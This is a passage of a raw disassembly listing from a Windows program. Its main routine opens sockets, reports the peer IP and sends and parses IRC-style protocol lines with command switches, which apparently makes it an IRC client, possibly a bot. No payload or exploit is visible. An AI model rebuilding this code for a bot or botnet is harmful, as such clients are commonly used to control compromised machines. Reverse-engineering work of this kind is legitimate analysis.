byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F6D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE40 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C5 sub_40FE40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FE58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FE58: ; CODE XREF: ___:0040FE4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE70 proc near ; CODE XREF: sub_4013C5j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FE70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F028 mov dword ptr [esi+11h], offset off_43F034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B68 sub_40FE70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_40204F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_410030 proc near ; CODE XREF: sub_402149j var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43A8D3 push eax mov eax, 2478h mov large fs:0, esp call sub_437B30 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_40142E mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411400 loc_410072: ; CODE XREF: sub_410030+13CAj mov al, byte_4E8E54 mov edi, dword_5118AC cmp al, bl jz loc_411400 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_41009A cmp dword ptr [ebp+1Ch], 5 jg short loc_4100A4 cmp eax, ebx jz loc_4101DE loc_41009A: ; CODE XREF: sub_410030+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_4101DE loc_4100A4: ; CODE XREF: sub_410030+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_4100B9 push eax nop call near ptr 71AB9639h loc_4100B9: ; CODE XREF: sub_410030+80j mov ecx, offset word_44AC6E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401541 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401983 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_4100E9 mov [ebp+20h], ebx loc_4100E9: ; CODE XREF: sub_410030+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_401474 mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_4493FD mov ecx, offset word_44ACE6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACE6 add eax, 1B6h push eax push offset dword_4493B4 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACE6 push edx push offset dword_449290 call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 124h push ecx push offset word_449322 mov ecx, offset word_44ACE6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACE6 add eax, 0DBh push eax push offset byte_4492D9 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACE6 add edx, 92h push edx push offset byte_44936B call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_44948F mov ecx, offset word_44ACE6 call sub_401F50 call edi mov [ebp+24h], eax loc_4101DE: ; CODE XREF: sub_410030+64j ; sub_410030+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410208 push 6 push 1 push 2 nop call near ptr 71AB3B91h push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 2831CE8h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410208: ; CODE XREF: sub_410030+1B4j cmp [ebp+15h], bl jnz loc_410398 mov ax, word_44933C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx nop call near ptr 71AB2B66h mov ecx, offset byte_4492D9 mov [esp+24h+arg_1E], ax call sub_4017EE push eax call sub_40188E add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_410288 push 2710h nop call near ptr 2831CE8h mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410288: ; CODE XREF: sub_410030+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h nop call near ptr 71AB951Eh mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr word_5F67AE add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015E1 lea ecx, [esp+3Ch+arg_408] push ecx nop call near ptr 71AB2BF4h push offset byte_448F40 mov ecx, offset byte_44936B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410357 mov ecx, offset byte_44936B call sub_4017EE mov edx, dword_4490EC push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h loc_410357: ; CODE XREF: sub_410030+305j mov ecx, offset byte_4E8E55 call sub_4017EE push eax mov ecx, offset byte_4E8E55 call sub_4017EE push eax mov eax, dword_4490F4 push eax mov ecx, offset byte_4E8E55 call sub_4017EE mov ecx, dword_4490F0 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E24 add esp, 1Ch jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410398: ; CODE XREF: sub_410030+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_4113F0 nop call near ptr 27E0CD2h lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CD0 lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A9B push offset asc_444600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F8 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_410470 push offset asc_444600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset dword_4493B4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410474 loc_410470: ; CODE XREF: sub_410030+3EAj mov [esp+20h+var_D], bl loc_410474: ; CODE XREF: sub_410030+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410496 mov byte ptr [ebp+16h], 1 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410496: ; CODE XREF: sub_410030+45Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490CC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl push 1 jz short loc_410534 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017EE push eax mov eax, dword_4490E8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410662 ; --------------------------------------------------------------------------- loc_410534: ; CODE XREF: sub_410030+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, dword_4490D0 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz loc_4106A0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E8 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410667 push offset asc_444600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017EE push eax mov eax, dword_4490E8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410662: ; CODE XREF: sub_410030+4FFj call sub_401226 loc_410667: ; CODE XREF: sub_410030+5E6j cmp [ebp+16h], bl jnz loc_4113F7 mov ecx, offset byte_4493FD call sub_4017EE push eax mov ecx, offset dword_4493B4 call sub_4017EE mov ecx, dword_4490D4 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_4106A0: ; CODE XREF: sub_410030+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449108 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410722 push offset asc_444600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_44910C mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410727 loc_410722: ; CODE XREF: sub_410030+69Bj mov [esp+20h+var_D], 1 loc_410727: ; CODE XREF: sub_410030+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410794 cmp [ebp+16h], bl jnz short loc_410770 mov ecx, offset byte_4493FD call sub_4017EE push eax mov ecx, offset dword_4493B4 call sub_4017EE mov edx, dword_4490D4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h loc_410770: ; CODE XREF: sub_410030+713j mov ecx, offset byte_4E8E55 call sub_4017EE push eax mov eax, dword_4490DC push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410794: ; CODE XREF: sub_410030+70Ej push offset asc_444600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490E4 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz short loc_410845 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014DD push eax call near ptr 77C47C60h nop add esp, 8 cmp eax, ebx jz short loc_41082D inc eax lea ecx, [ebp+28h] push eax call sub_4015E1 loc_41082D: ; CODE XREF: sub_410030+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410845: ; CODE XREF: sub_410030+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490E0 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_410880 mov al, byte_449814 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410884 loc_410880: ; CODE XREF: sub_410030+840j mov [esp+20h+var_D], bl loc_410884: ; CODE XREF: sub_410030+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410B91 push offset asc_444C7C ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_4108E2 mov ecx, eax call sub_402072 loc_4108E2: ; CODE XREF: sub_410030+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41090E mov ecx, eax call sub_4010BE loc_41090E: ; CODE XREF: sub_410030+8D5j push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401AAF push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410B7C loc_41096F: ; CODE XREF: sub_410030+B46j push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_410997 mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410999 ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_410030+95Aj xor esi, esi loc_410999: ; CODE XREF: sub_410030+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4109CB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4109CF ; --------------------------------------------------------------------------- loc_4109CB: ; CODE XREF: sub_410030+98Cj mov [esp+20h+var_C], ebx loc_4109CF: ; CODE XREF: sub_410030+999j push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013ED test eax, eax jz short loc_4109F2 mov byte ptr [esi+93h], 1 jmp short loc_4109F8 ; --------------------------------------------------------------------------- loc_4109F2: ; CODE XREF: sub_410030+9B7j mov [esi+93h], bl loc_4109F8: ; CODE XREF: sub_410030+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A13 mov byte ptr [esi+94h], 1 jmp short loc_410A19 ; --------------------------------------------------------------------------- loc_410A13: ; CODE XREF: sub_410030+9D8j mov [esi+94h], bl loc_410A19: ; CODE XREF: sub_410030+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A34 mov byte ptr [esi+95h], 1 jmp short loc_410A3A ; --------------------------------------------------------------------------- loc_410A34: ; CODE XREF: sub_410030+9F9j mov [esi+95h], bl loc_410A3A: ; CODE XREF: sub_410030+A02j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FDC lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_448F40 lea ecx, [esi+54h] call sub_4015E1 push offset byte_448F40 lea ecx, [esi+3Fh] call sub_4015E1 push offset asc_444600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FDC lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017EE push eax mov ecx, esi call sub_4015E1 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DFC cmp esi, ebx jz short loc_410B29 push 1 mov ecx, esi call sub_4019E2 loc_410B29: ; CODE XREF: sub_410030+AEEj mov ecx, [esp+20h+var_C] call sub_4013DE inc edi push offset asc_4445EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41096F loc_410B7C: ; CODE XREF: sub_410030+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410B91: ; CODE XREF: sub_410030+86Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490D8 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410EAB push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410C0B mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410C0D ; --------------------------------------------------------------------------- loc_410C0B: ; CODE XREF: sub_410030+BCEj xor esi, esi loc_410C0D: ; CODE XREF: sub_410030+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410C3C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410C3E ; --------------------------------------------------------------------------- loc_410C3C: ; CODE XREF: sub_410030+BFFj xor edi, edi loc_410C3E: ; CODE XREF: sub_410030+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013ED test eax, eax jz short loc_410C60 mov byte ptr [esi+95h], 1 jmp short loc_410C66 ; --------------------------------------------------------------------------- loc_410C60: ; CODE XREF: sub_410030+C25j mov [esi+95h], bl loc_410C66: ; CODE XREF: sub_410030+C2Ej push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410C81 mov byte ptr [esi+93h], 1 jmp short loc_410C87 ; --------------------------------------------------------------------------- loc_410C81: ; CODE XREF: sub_410030+C46j mov [esi+93h], bl loc_410C87: ; CODE XREF: sub_410030+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410CA2 mov byte ptr [esi+94h], 1 jmp short loc_410CA8 ; --------------------------------------------------------------------------- loc_410CA2: ; CODE XREF: sub_410030+C67j mov [esi+94h], bl loc_410CA8: ; CODE XREF: sub_410030+C70j push offset asc_444C7C ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016B8 push offset asc_444C70 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FDC lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C70 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016B8 push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FDC lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset a@ ; "@" lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016B8 push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FDC mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FDC lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C6C ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410E7D add eax, 2 push eax jmp short loc_410E82 ; --------------------------------------------------------------------------- loc_410E7D: ; CODE XREF: sub_410030+E45j push offset byte_448F40 loc_410E82: ; CODE XREF: sub_410030+E4Bj mov ecx, esi call sub_4015E1 push ebx push esi mov ecx, edi call sub_401DFC cmp esi, ebx jz short loc_410E9F push 1 mov ecx, esi call sub_4019E2 loc_410E9F: ; CODE XREF: sub_410030+E64j mov ecx, edi call sub_4013DE jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410EAB: ; CODE XREF: sub_410030+BADj push offset asc_444600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490FC mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411080 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push edx call sub_4016B8 mov ecx, offset word_44AC6E call sub_401CE4 cmp eax, ebx jz short loc_410F72 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push eax call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov 